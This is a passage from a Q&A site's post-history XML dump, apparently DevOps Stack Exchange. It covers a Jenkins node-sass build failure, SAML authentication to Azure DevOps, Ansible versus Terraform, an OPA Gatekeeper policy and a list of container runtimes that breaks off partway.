v3.8.0&#xD;&#xA;gyp ERR! not ok &#xD;&#xA;Build failed with error code: 1&#xD;&#xA;npm WARN optional SKIPPING OPTIONAL DEPENDENCY: fsevents@1.2.9 (node_modules/fsevents):&#xD;&#xA;npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for fsevents@1.2.9: wanted {&quot;os&quot;:&quot;darwin&quot;,&quot;arch&quot;:&quot;any&quot;} (current: {&quot;os&quot;:&quot;linux&quot;,&quot;arch&quot;:&quot;x64&quot;})&#xD;&#xA;&#xD;&#xA;npm ERR! code ELIFECYCLE&#xD;&#xA;npm ERR! errno 1&#xD;&#xA;npm ERR! node-sass@4.12.0 postinstall: `node scripts/build.js`&#xD;&#xA;npm ERR! Exit status 1&#xD;&#xA;npm ERR! &#xD;&#xA;npm ERR! Failed at the node-sass@4.12.0 postinstall script.&#xD;&#xA;npm ERR! This is probably not a problem with npm. There is likely additional logging output above.&#xD;&#xA;&#xD;&#xA;npm ERR! A complete log of this run can be found in:&#xD;&#xA;npm ERR!     /var/lib/jenkins/workspace/Deploy UI/.npm/_logs/2019-11-12T02_15_01_035Z-debug.log&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;package.json&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&quot;dependencies&quot;: {&#xD;&#xA;    &quot;@agametov/vueditor&quot;: &quot;^0.4.1&quot;,&#xD;&#xA;    &quot;@chenfengyuan/vue-countdown&quot;: &quot;^1.1.2&quot;,&#xD;&#xA;    &quot;apexcharts&quot;: &quot;^3.8.3&quot;,&#xD;&#xA;    &quot;axios&quot;: &quot;^0.19.0&quot;,&#xD;&#xA;    &quot;bootstrap&quot;: &quot;^4.3.1&quot;,&#xD;&#xA;    &quot;bootstrap-social&quot;: &quot;^5.1.1&quot;,&#xD;&#xA;    &quot;bootstrap-vue&quot;: &quot;^2.0.0-rc.27&quot;,&#xD;&#xA;    &quot;chart.js&quot;: &quot;^2.8.0&quot;,&#xD;&#xA;    &quot;flag-icon-css&quot;: &quot;^3.3.0&quot;,&#xD;&#xA;    &quot;ionicons&quot;: &quot;^4.6.2&quot;,&#xD;&#xA;    &quot;moment&quot;: &quot;^2.24.0&quot;,&#xD;&#xA;    &quot;node-sass&quot;: &quot;^4.12.0&quot;,&#xD;&#xA;    &quot;sass-loader&quot;: &quot;^7.1.0&quot;,&#xD;&#xA;    &quot;simple-line-icons&quot;: &quot;^2.4.1&quot;,&#xD;&#xA;    &quot;v-autocomplete&quot;: &quot;^1.8.2&quot;,&#xD;&#xA;    &quot;vue&quot;: &quot;^2.6.10&quot;,&#xD;&#xA;    &quot;vue-apexcharts&quot;: &quot;^1.4.0&quot;,&#xD;&#xA;    &quot;vue-bootstrap-datetimepicker&quot;: &quot;^5.0.1&quot;,&#xD;&#xA;    &quot;vue-chartjs&quot;: &quot;^3.4.2&quot;,&#xD;&#xA;    &quot;vue-custom-scrollbar&quot;: &quot;^1.1.0&quot;,&#xD;&#xA;    &quot;vue-event-calendar&quot;: &quot;^1.5.2&quot;,&#xD;&#xA;    &quot;vue-full-calendar&quot;: &quot;^2.7.0&quot;,&#xD;&#xA;    &quot;vue-good-table&quot;: &quot;^2.17.4&quot;,&#xD;&#xA;    &quot;vue-hljs&quot;: &quot;^1.1.2&quot;,&#xD;&#xA;    &quot;vue-input-tag&quot;: &quot;^2.0.6&quot;,&#xD;&#xA;    &quot;vue-ins-progress-bar&quot;: &quot;^1.0.0&quot;,&#xD;&#xA;    &quot;vue-maskedinput&quot;: &quot;^0.1.3&quot;,&#xD;&#xA;    &quot;vue-moment&quot;: &quot;^4.0.0&quot;,&#xD;&#xA;    &quot;vue-notification&quot;: &quot;^1.3.16&quot;,&#xD;&#xA;    &quot;vue-nvd3&quot;: &quot;^1.0.0&quot;,&#xD;&#xA;    &quot;vue-pop-colorpicker&quot;: &quot;^1.0.2&quot;,&#xD;&#xA;    &quot;vue-router&quot;: &quot;^3.0.7&quot;,&#xD;&#xA;    &quot;vue-select&quot;: &quot;^3.1.0&quot;,&#xD;&#xA;    &quot;vue-slider-component&quot;: &quot;^3.0.33&quot;,&#xD;&#xA;    &quot;vue-sparklines&quot;: &quot;^0.1.9&quot;,&#xD;&#xA;    &quot;vue-stripe-elements-plus&quot;: &quot;^0.3.2&quot;,&#xD;&#xA;    &quot;vue-sweetalert2&quot;: &quot;^2.1.1&quot;,&#xD;&#xA;    &quot;vue2-google-maps&quot;: &quot;^0.10.7&quot;,&#xD;&#xA;    &quot;vuejs-datepicker&quot;: &quot;^1.6.2&quot;&#xD;&#xA;  },&#xD;&#xA;  &quot;devDependencies&quot;: {&#xD;&#xA;    &quot;@vue/cli-plugin-babel&quot;: &quot;^3.9.2&quot;,&#xD;&#xA;    &quot;@vue/cli-plugin-eslint&quot;: &quot;^3.9.2&quot;,&#xD;&#xA;    &quot;@vue/cli-service&quot;: &quot;^3.9.3&quot;,&#xD;&#xA;    &quot;vue-template-compiler&quot;: &quot;^2.6.10&quot;&#xD;&#xA;  },&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;my pipeline code&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stage('Build') {&#xD;&#xA;        steps {&#xD;&#xA;            nodejs(nodeJSInstallationName: 'UI') {&#xD;&#xA;               sh &quot;npm install &amp;&amp; npm install --only=dev &amp;&amp; npm run build --${params.buildenv}&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;EDIT **&#xD;&#xA;installed python via the apt repo and ran into a bigger (longer) error message. I can't include here as too long (tried already) &#xD;&#xA;&#xD;&#xA;A bunch of lines about node openssl like the below &#xD;&#xA;&#xD;&#xA;`gyp verb extracted file from tarball include/node/openssl/aes.h`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;gyp verb tarball done parsing tarball&#xD;&#xA;gyp verb check download content checksum, need to download `SHASUMS256.txt`... &#xD;&#xA;gyp verb checksum url https://nodejs.org/download/release/v13.1.0/SHASUMS256.txt&#xD;&#xA;gyp http GET https://nodejs.org/download/release/v13.1.0/SHASUMS256.txt&#xD;&#xA;gyp http 200 https://nodejs.org/download/release/v13.1.0/SHASUMS256.txt&#xD;&#xA;gyp verb checksum data {&quot;node-v13.1.0-aix-ppc64.tar.gz&quot;:&quot;5faec026afe9052f277402500236dd9ec4d58e0e8de93f66989fc337c65e33c8&quot;,&quot;node-v13.1.0-darwin-x64.tar.gz&quot;:&quot;6501c1bcf2babb5b9c81dcff8b52021f726da8f6ee28df1637acade1a16c7d39&quot;,&quot;node-v13.1.0-darwin-x64.tar.xz&quot;:&quot;b918bdc6ca5726084a737c926744cdaecde624ba39ac8aaed889f296007a5094&quot;,&quot;node-v13.1.0-headers.tar.gz&quot;:&quot;577785216f5a4097a9108fd05f3117556f0954f0a03a26cfbfd1ce7af94587d4&quot;,&quot;node-v13.1.0-headers.tar.xz&quot;:&quot;73ec6759903137d3e22806e745777cb7cda3150f0d81c5ba13e7599c2be03d32&quot;,&quot;node-v13.1.0-linux-arm64.tar.gz&quot;:&quot;dd36c7846f7713b6e55baf0b6ab7882c18b129d83a3d0f7ef62790d181461d22&quot;,&quot;node-v13.1.0-linux-arm64.tar.xz&quot;:&quot;646d597e6b0dc400429e46b703a5135c77bd71e653ea4c8254d0b60c17b6ec1d&quot;,&quot;node-v13.1.0-linux-armv7l.tar.gz&quot;:&quot;88450bc38dac0be15c9bd09bfccf4ce79f1911930f37658c730c151b26c5aa97&quot;,&quot;node-v13.1.0-linux-armv7l.tar.xz&quot;:&quot;e15601106fbd9ed75a4642eab91bb3f3ddab8b5821e886bdb070c014d9ab9af2&quot;,&quot;node-v13.1.0-linux-ppc64le.tar.gz&quot;:&quot;0c804f0671bcdada9be66e4ca844c08f897357fbf2426be8cc326d20e6362833&quot;,&quot;node-v13.1.0-linux-ppc64le.tar.xz&quot;:&quot;561dbaa36db7dcb4fff378e110b4ddd29d918754e73449208899fbfb9f3ce1ae&quot;,&quot;node-v13.1.0-linux-s390x.tar.gz&quot;:&quot;24c29e917230d9cc510ba764ff6ef57bcc816520c146b47dce3ed4aeb3f7d333&quot;,&quot;node-v13.1.0-linux-s390x.tar.xz&quot;:&quot;a3229a795ee8bda15396701badd31d695d9a6f487a730c73022305c98522767a&quot;,&quot;node-v13.1.0-linux-x64.tar.gz&quot;:&quot;490e998198e152450e79bb65178813ce0c81708954697f91cfd82537acfcb588&quot;,&quot;node-v13.1.0-linux-x64.tar.xz&quot;:&quot;2eecb5a4b7975c3b406bee36b12c9a29e8bedf9553c88cad310b8f076db00881&quot;,&quot;node-v13.1.0.pkg&quot;:&quot;3b6abd2a5f7a5778bbe5363ea222910b19674648eb2b3d734d9ee751ec29da71&quot;,&quot;node-v13.1.0-sunos-x64.tar.gz&quot;:&quot;8e17a613950018e27f34f7268e01cbb385777189961ccf386f7d0d05883687b3&quot;,&quot;node-v13.1.0-sunos-x64.tar.xz&quot;:&quot;e9dd61b7f537b98a6656c0e03766997aa712bf3d40e7cb08ba4019e942846739&quot;,&quot;node-v13.1.0.tar.gz&quot;:&quot;df640a2f151f788d02dc25c91d80fffe06b4c3c72fbdee07ab9abd7c6879d6cd&quot;,&quot;node-v13.1.0.tar.xz&quot;:&quot;d42c056cbd33b35836b0f5cfb2c56712b965ea76e188ef79af492614cf14cb68&quot;,&quot;node-v13.1.0-win-x64.7z&quot;:&quot;8f242259fa929f759f06bb1cf399df3b81061eb1ce5ccaa9d206dc157fcf93fc&quot;,&quot;node-v13.1.0-win-x64.zip&quot;:&quot;d735e97bdeb7b74551b9d165c708a3fdea4dbb3801a65e70f6d6ae3539d48a03&quot;,&quot;node-v13.1.0-win-x86.7z&quot;:&quot;c4ecf16dd147956c9335b547fdfb1b0eb1c333c1a1722843b45ba04b9fee17fe&quot;,&quot;node-v13.1.0-win-x86.zip&quot;:&quot;81af54ba9e852073ac975aa0955da1efb4b2ea6ef213eb3ce90f3b22a82555d8&quot;,&quot;node-v13.1.0-x64.msi&quot;:&quot;22ec0be47b0f3f5f163f82e18c01df456921f39b756ee4a828534264b06d0fe6&quot;,&quot;node-v13.1.0-x86.msi&quot;:&quot;7f56fa7350eaf0da6d33b24578a281e8d759a9344e5c8ea851ea541eaebb94fe&quot;,&quot;win-x64/node.exe&quot;:&quot;5c3b0006330a08743363ebf26ccdf1618ab0269f50756088b6e5257d7a32c5a1&quot;,&quot;win-x64/node.lib&quot;:&quot;aa183bbe6f7a2b63395ff83ac6f687274bafbc1e64be2e6e5bb600dc1e5c7bea&quot;,&quot;win-x64/node_pdb.7z&quot;:&quot;7e4bc02444eea52b90d15d1985789aa10efa5b058a6550aac389db3eba42a4b7&quot;,&quot;win-x64/node_pdb.zip&quot;:&quot;ae389590498393e57379d462b3d8d6c2639afcf04d6c279f99b8e2122b98b94e&quot;,&quot;win-x86/node.exe&quot;:&quot;20fb3aa33b88628c533e59fec344db02683434cfbd91d70a36e3a0c3f865ed03&quot;,&quot;win-x86/node.lib&quot;:&quot;caa896eb2249fdf32ed3dda1c7bdb8250b8dbdf6f5498b10a4dec91f541d2d11&quot;,&quot;win-x86/node_pdb.7z&quot;:&quot;e2301d3ae38b01fecceb8111955568a741183de87d05c88a6499abfca1e913b1&quot;,&quot;win-x86/node_pdb.zip&quot;:&quot;5d9cc82ef9f2165f08ad4057b23c90154bf6a334ed7f9d3b5757003f70f49108&quot;}&#xD;&#xA;gyp verb download contents checksum {&quot;node-v13.1.0-headers.tar.gz&quot;:&quot;577785216f5a4097a9108fd05f3117556f0954f0a03a26cfbfd1ce7af94587d4&quot;}&#xD;&#xA;gyp verb validating download checksum for node-v13.1.0-headers.tar.gz (577785216f5a4097a9108fd05f3117556f0954f0a03a26cfbfd1ce7af94587d4 == 577785216f5a4097a9108fd05f3117556f0954f0a03a26cfbfd1ce7af94587d4)&#xD;&#xA;gyp verb get node dir target node version installed: 13.1.0&#xD;&#xA;gyp verb build dir attempting to create &quot;build&quot; dir: /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass/build&#xD;&#xA;gyp verb build dir &quot;build&quot; dir needed to be created? /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass/build&#xD;&#xA;gyp verb build/config.gypi creating config file&#xD;&#xA;gyp verb build/config.gypi writing out config file: /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass/build/config.gypi&#xD;&#xA;gyp verb config.gypi checking for gypi file: /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass/config.gypi&#xD;&#xA;gyp verb common.gypi checking for gypi file: /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass/common.gypi&#xD;&#xA;gyp verb gyp gyp format was not specified; forcing &quot;make&quot;&#xD;&#xA;gyp info spawn /usr/bin/python2&#xD;&#xA;gyp info spawn args [&#xD;&#xA;gyp info spawn args   '/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/gyp/gyp_main.py',&#xD;&#xA;gyp info spawn args   'binding.gyp',&#xD;&#xA;gyp info spawn args   '-f',&#xD;&#xA;gyp info spawn args   'make',&#xD;&#xA;gyp info spawn args   '-I',&#xD;&#xA;gyp info spawn args   '/var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass/build/config.gypi',&#xD;&#xA;gyp info spawn args   '-I',&#xD;&#xA;gyp info spawn args   '/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/addon.gypi',&#xD;&#xA;gyp info spawn args   '-I',&#xD;&#xA;gyp info spawn args   '/var/lib/jenkins/workspace/Deploy UI/.node-gyp/13.1.0/include/node/common.gypi',&#xD;&#xA;gyp info spawn args   '-Dlibrary=shared_library',&#xD;&#xA;gyp info spawn args   '-Dvisibility=default',&#xD;&#xA;gyp info spawn args   '-Dnode_root_dir=/var/lib/jenkins/workspace/Deploy UI/.node-gyp/13.1.0',&#xD;&#xA;gyp info spawn args   '-Dnode_gyp_dir=/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp',&#xD;&#xA;gyp info spawn args   '-Dnode_lib_file=/var/lib/jenkins/workspace/Deploy UI/.node-gyp/13.1.0/&lt;(target_arch)/node.lib',&#xD;&#xA;gyp info spawn args   '-Dmodule_root_dir=/var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass',&#xD;&#xA;gyp info spawn args   '-Dnode_engine=v8',&#xD;&#xA;gyp info spawn args   '--depth=.',&#xD;&#xA;gyp info spawn args   '--no-parallel',&#xD;&#xA;gyp info spawn args   '--generator-output',&#xD;&#xA;gyp info spawn args   'build',&#xD;&#xA;gyp info spawn args   '-Goutput_dir=.'&#xD;&#xA;gyp info spawn args ]&#xD;&#xA;gyp verb command build []&#xD;&#xA;gyp verb build type Release&#xD;&#xA;gyp verb architecture x64&#xD;&#xA;gyp verb node dev dir /var/lib/jenkins/workspace/Deploy UI/.node-gyp/13.1.0&#xD;&#xA;gyp verb `which` succeeded for `make` /usr/bin/make&#xD;&#xA;gyp info spawn make&#xD;&#xA;gyp info spawn args [ 'V=1', 'BUILDTYPE=Release', '-C', 'build' ]&#xD;&#xA;make: Entering directory '/var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass/build'&#xD;&#xA;  g++ '-DNODE_GYP_MODULE_NAME=libsass' '-DUSING_UV_SHARED=1' '-DUSING_V8_SHARED=1' '-DV8_DEPRECATION_WARNINGS=1' '-DV8_DEPRECATION_WARNINGS' '-DV8_IMMINENT_DEPRECATION_WARNINGS' '-D_LARGEFILE_SOURCE' '-D_FILE_OFFSET_BITS=64' '-DOPENSSL_NO_PINSHARED' '-DOPENSSL_THREADS' '-DLIBSASS_VERSION=&quot;3.5.4&quot;' -I/var/lib/jenkins/workspace/Deploy UI/.node-gyp/13.1.0/include/node -I/var/lib/jenkins/workspace/Deploy UI/.node-gyp/13.1.0/src -I/var/lib/jenkins/workspace/Deploy UI/.node-gyp/13.1.0/deps/openssl/config -I/var/lib/jenkins/workspace/Deploy UI/.node-gyp/13.1.0/deps/openssl/openssl/include -I/var/lib/jenkins/workspace/Deploy UI/.node-gyp/13.1.0/deps/uv/include -I/var/lib/jenkins/workspace/Deploy UI/.node-gyp/13.1.0/deps/zlib -I/var/lib/jenkins/workspace/Deploy UI/.node-gyp/13.1.0/deps/v8/include -I../src/libsass/include  -fPIC -pthread -Wall -Wextra -Wno-unused-parameter -m64 -O3 -fno-omit-frame-pointer -std=gnu++1y -std=c++0x -fexceptions -frtti -MMD -MF ./Release/.deps/Release/obj.target/libsass/src/libsass/src/ast.o.d.raw   -c -o Release/obj.target/libsass/src/libsass/src/ast.o ../src/libsass/src/ast.cpp&#xD;&#xA;g++: error: UI/.node-gyp/13.1.0/include/node: No such file or directory&#xD;&#xA;g++: error: UI/.node-gyp/13.1.0/src: No such file or directory&#xD;&#xA;g++: error: UI/.node-gyp/13.1.0/deps/openssl/config: No such file or directory&#xD;&#xA;g++: error: UI/.node-gyp/13.1.0/deps/openssl/openssl/include: No such file or directory&#xD;&#xA;g++: error: UI/.node-gyp/13.1.0/deps/uv/include: No such file or directory&#xD;&#xA;g++: error: UI/.node-gyp/13.1.0/deps/zlib: No such file or directory&#xD;&#xA;g++: error: UI/.node-gyp/13.1.0/deps/v8/include: No such file or directory&#xD;&#xA;src/libsass.target.mk:158: recipe for target 'Release/obj.target/libsass/src/libsass/src/ast.o' failed&#xD;&#xA;make: *** [Release/obj.target/libsass/src/libsass/src/ast.o] Error 1&#xD;&#xA;make: Leaving directory '/var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass/build'&#xD;&#xA;gyp ERR! build error &#xD;&#xA;gyp ERR! stack Error: `make` failed with exit code: 2&#xD;&#xA;gyp ERR! stack     at ChildProcess.onExit (/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/lib/build.js:262:23)&#xD;&#xA;gyp ERR! stack     at ChildProcess.emit (events.js:210:5)&#xD;&#xA;gyp ERR! stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:272:12)&#xD;&#xA;gyp ERR! System Linux 4.15.0-1052-aws&#xD;&#xA;gyp ERR! command &quot;/var/lib/jenkins/tools/jenkins.plugins.nodejs.tools.NodeJSInstallation/UI/bin/node&quot; &quot;/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/bin/node-gyp.js&quot; &quot;rebuild&quot; &quot;--verbose&quot; &quot;--libsass_ext=&quot; &quot;--libsass_cflags=&quot; &quot;--libsass_ldflags=&quot; &quot;--libsass_library=&quot;&#xD;&#xA;gyp ERR! cwd /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass&#xD;&#xA;gyp ERR! node -v v13.1.0&#xD;&#xA;gyp ERR! node-gyp -v v3.8.0&#xD;&#xA;gyp ERR! not ok &#xD;&#xA;Build failed with error code: 1&#xD;&#xA;npm WARN optional SKIPPING OPTIONAL DEPENDENCY: fsevents@1.2.9 (node_modules/fsevents):&#xD;&#xA;npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for fsevents@1.2.9: wanted {&quot;os&quot;:&quot;darwin&quot;,&quot;arch&quot;:&quot;any&quot;} (current: {&quot;os&quot;:&quot;linux&quot;,&quot;arch&quot;:&quot;x64&quot;})&#xD;&#xA;&#xD;&#xA;npm ERR! code ELIFECYCLE&#xD;&#xA;npm ERR! errno 1&#xD;&#xA;npm ERR! node-sass@4.12.0 postinstall: `node scripts/build.js`&#xD;&#xA;npm ERR! Exit status 1&#xD;&#xA;npm ERR! &#xD;&#xA;npm ERR! Failed at the node-sass@4.12.0 postinstall script.&#xD;&#xA;npm ERR! This is probably not a problem with npm. There is likely additional logging output above&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29246" PostHistoryTypeId="2" PostId="9763" RevisionGUID="ba96caf8-b6df-4bc3-a5ff-d871b45607af" CreationDate="2019-11-12T06:54:44.717" UserId="18130" Text="We have a network where azure DevOps services can be used by logging in via SAML. There is an independent java application in that same network. &#xD;&#xA;&#xD;&#xA;Can anyone please point out a way that this java application can get authenticated to Azure DevOps services via SAML, without any manual intervention? &#xD;&#xA;&#xD;&#xA;PS: I've explored a lot of blogs but I couldn't find what I need specifically. Closest I got, was to register my java application as a AD tenant, but in our use case this can't be done. &#xD;&#xA;&#xD;&#xA;Is there any other alternative? Please suggest." ContentLicense="CC BY-SA 4.0" />
  <row Id="29247" PostHistoryTypeId="1" PostId="9763" RevisionGUID="ba96caf8-b6df-4bc3-a5ff-d871b45607af" CreationDate="2019-11-12T06:54:44.717" UserId="18130" Text="How to authenticate, with azure devops services, using SAML via on premise standalone java application?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29248" PostHistoryTypeId="3" PostId="9763" RevisionGUID="ba96caf8-b6df-4bc3-a5ff-d871b45607af" CreationDate="2019-11-12T06:54:44.717" UserId="18130" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;tfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29256" PostHistoryTypeId="2" PostId="9764" RevisionGUID="7d88b17f-a6f5-4f6e-bf98-121cf2ecaa8f" CreationDate="2019-11-12T09:34:09.087" UserId="397" Text="I would be inclined to implement the [Open Policy Agent][1] as this will give you the ability to define a policy similar to this:&#xD;&#xA;&#xD;&#xA;```yanl&#xD;&#xA;apiVersion: constraints.gatekeeper.sh/v1beta1&#xD;&#xA;kind: K8sContainerLimits&#xD;&#xA;metadata:&#xD;&#xA;  name: container-must-have-limits&#xD;&#xA;spec:&#xD;&#xA;  match:&#xD;&#xA;    kinds:&#xD;&#xA;      - apiGroups: [&quot;&quot;]&#xD;&#xA;        kinds: [&quot;Pod&quot;]&#xD;&#xA;  parameters:&#xD;&#xA;    cpu: &quot;200m&quot;&#xD;&#xA;    memory: &quot;1Gi&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;OPA will enforce any policy you defined via an [Admission Controller][2], beware though it's very powerful and I have bricked clusters by not thinking through the options carefully.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.openpolicyagent.org/docs/latest/kubernetes-introduction/&#xD;&#xA;  [2]: https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29257" PostHistoryTypeId="2" PostId="9765" RevisionGUID="92f8f12f-7d1a-492c-9595-9ad66eaac114" CreationDate="2019-11-12T10:07:51.133" UserId="397" Text="There are likely a multitude of issues that could be the root cause, as a starter for ten I would look at the following:&#xD;&#xA;&#xD;&#xA;1. Is the ownership and permissions on the `node_modules` directory correct, i.e. does your Jenkins user have the permission to write to all of the files and directories in the folder.  This is a common problem if you have multiple users involved in the build process - less common on a dedicated build server.&#xD;&#xA;&#xD;&#xA;2. Do you have all of the dependencies for building the packages, for example:&#xD;&#xA; - you have a dependency on `&quot;node-sass&quot;: &quot;^4.12.0&quot;`&#xD;&#xA;     - which has a dependency on [node-gyp][1]&#xD;&#xA;         - which has dependencies on Python, `make` and a C/C++ toolchain like `gcc`&#xD;&#xA;&#xD;&#xA;There is a much longer troubleshooting guide on the [node-sass GitHub][2] which may be of help, although you may well find that even if you get node-sass to work you will ened up with another package failing because of missing dependencies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/nodejs/node-gyp&#xD;&#xA;  [2]: https://github.com/sass/node-sass/blob/master/TROUBLESHOOTING.md#linuxosx" ContentLicense="CC BY-SA 4.0" />
  <row Id="29258" PostHistoryTypeId="2" PostId="9766" RevisionGUID="d0f3adeb-a60b-428e-a716-2bb33fcf21aa" CreationDate="2019-11-12T10:10:24.763" UserId="18043" Text="What is Ansible mainly used for?&#xD;&#xA;&#xD;&#xA;Where do I use Terraform?**strong text**" ContentLicense="CC BY-SA 4.0" />
  <row Id="29259" PostHistoryTypeId="1" PostId="9766" RevisionGUID="d0f3adeb-a60b-428e-a716-2bb33fcf21aa" CreationDate="2019-11-12T10:10:24.763" UserId="18043" Text="Where do I use Ansible and where is Terraform better?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29260" PostHistoryTypeId="3" PostId="9766" RevisionGUID="d0f3adeb-a60b-428e-a716-2bb33fcf21aa" CreationDate="2019-11-12T10:10:24.763" UserId="18043" Text="&lt;ansible&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29261" PostHistoryTypeId="2" PostId="9767" RevisionGUID="7d73ecf4-44e7-4652-b077-dc58dba9987e" CreationDate="2019-11-12T10:23:16.713" UserId="397" Text="There is a fairly sizable [range of authentication options][1], based upon what you have said you are looking for a non-interactive login which rules out some options, and leaves the following:&#xD;&#xA;&#xD;&#xA; - [Device Profile][2] - probably not ideal for you given you would need to find a way to this in Java as the examples are few and far between and mostly written in C#.&#xD;&#xA; - [TFS Application][3] - again not ideal given you would need to either find someone who has written a 3rd party client library for Java or write one yourself.&#xD;&#xA; - Azure DevOps Extension - while you could write an Azure DevOps extension, and use that to access Azure DevOps it's a lot of work and potentially would expose security issues.&#xD;&#xA;&#xD;&#xA;Given that we have probably ruled out non-interactive login to Azure DevOps you could also explore one of the two following options:&#xD;&#xA;&#xD;&#xA; - **Interactive Logins** - is there an option in your environment from forcing the user to authenticate with Azure DevOps using [OAuth][4] then capture the token for non-interactive use?  This is quite a common pattern with GitHub, GitLab and Bitbucket.&#xD;&#xA; - **[Personal Access Tokens][5]** - mostly this would be abusing a feature of Azure DevOps as these are designed for users not applications, although it could work in your constrained environment.&#xD;&#xA; - **Non-interactive Login using your Identity Provider** - you haven't detailed who your Identity Provider is, but it is possible it supports authentication using Client Certificates, Shared Secrets, etc. which would give you a SAML token which could be exchanged for an Azure DevOps Access token.&#xD;&#xA;&#xD;&#xA;Hope those help.  &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/integrate/get-started/authentication/authentication-guidance?view=azure-devops&#xD;&#xA;  [2]: https://github.com/microsoft/azure-devops-auth-samples/tree/master/DeviceProfileSample&#xD;&#xA;  [3]: https://github.com/microsoft/azure-devops-auth-samples/tree/master/ClientLibraryConsoleAppSample&#xD;&#xA;  [4]: https://docs.microsoft.com/en-us/azure/devops/integrate/get-started/authentication/oauth?view=azure-devops&#xD;&#xA;  [5]: https://docs.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops&amp;tabs=preview-page" ContentLicense="CC BY-SA 4.0" />
  <row Id="29262" PostHistoryTypeId="5" PostId="9766" RevisionGUID="1f99d434-1f95-4b19-a97a-b0478f62cd22" CreationDate="2019-11-12T10:23:36.550" UserId="397" Comment="deleted 15 characters in body" Text="What is Ansible mainly used for?&#xD;&#xA;&#xD;&#xA;Where do I use Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29263" PostHistoryTypeId="2" PostId="9768" RevisionGUID="100dbc08-6ab7-40c5-bdac-98c2de107bad" CreationDate="2019-11-12T10:29:27.670" UserId="397" Text="I think you have to consider the history of the two tools to answer this question properly:&#xD;&#xA;&#xD;&#xA; - **Ansible** was created to manage the installation and maintenance of virtual machines, thus it originally only had the capability to install software into an operating system, perform systems administration tasks *within* that machine.  Subsequently, it has been extended to be able to create cloud resources in AWS, Azure, GCP and others.&#xD;&#xA;&#xD;&#xA; - **Terraform** was created to manage cloud resources, it's effectively a facade layer over the various APIs in AWS, Azure, GCP, etc.  It has subsequently been extended to be able to cover many of the functions that Ansible also covers such as installing software.&#xD;&#xA;&#xD;&#xA;My personal workflow is to use both applications for what they are **really good at**, thus I create infrastructure (Virtual Machines, Clusters, Storage, Networks, etc) in Terraform and then use Ansible to install and configure software as required.&#xD;&#xA;&#xD;&#xA;I can, and have in some situations, just used Terraform or Ansible, it's just a little harder as you have to learn how to use one tool in a different way." ContentLicense="CC BY-SA 4.0" />
  <row Id="29264" PostHistoryTypeId="2" PostId="9769" RevisionGUID="630f487e-bb7a-4b3a-b8f5-acb3a04268b9" CreationDate="2019-11-12T10:35:57.537" UserId="707" Text="While we say &quot;Docker is just one possible container runtime&quot;, are there other implementations used in production environments as of late 2019, and do they have different approaches? (while Docker being a console wrapper for LXC more or less, right)." ContentLicense="CC BY-SA 4.0" />
  <row Id="29265" PostHistoryTypeId="1" PostId="9769" RevisionGUID="630f487e-bb7a-4b3a-b8f5-acb3a04268b9" CreationDate="2019-11-12T10:35:57.537" UserId="707" Text="Are there examples of other production grade container runtimes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29266" PostHistoryTypeId="3" PostId="9769" RevisionGUID="630f487e-bb7a-4b3a-b8f5-acb3a04268b9" CreationDate="2019-11-12T10:35:57.537" UserId="707" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29267" PostHistoryTypeId="2" PostId="9770" RevisionGUID="4c6efb81-002b-4cf6-8ce1-36f721c10458" CreationDate="2019-11-12T11:32:57.640" UserId="354" Text="The [Container Runtime](https://landscape.cncf.io/category=container-runtime&amp;format=card-mode&amp;grouping=category) group of the Cloud-Native Computing Foundation has a list of runtimes:&#xD;&#xA;&#xD;&#xA;They include:&#xD;&#xA;&#xD;&#xA;- [Containerd](https://containerd.io)&#xD;&#xA;- [CRI-IO](https://cri-io.io)&#xD;&#xA;- [Firecracker](https://firecracker-microvm.github.io)&#xD;&#xA;- [gVisor](https://gvisor.dev)&#xD;&#xA;- [Kata Containers](https://katacontainers.io)&#xD;&#xA;- [LXD](https://linux-containers.org/lxd)&#xD;&#xA;- [Nabla Containers](https://nabla-containers.github.io)&#xD;&#xA;- [Pouch](https://github.com/alibaba/pouch)&#xD;&#xA;- [runc](https://www.opencontainers.org)&#xD;&#xA;- [Singularity](https://sylabs.io)&#xD;&#xA;- [SmartOS](https://www.joyent.com/smartos)&#xD;&#xA;- 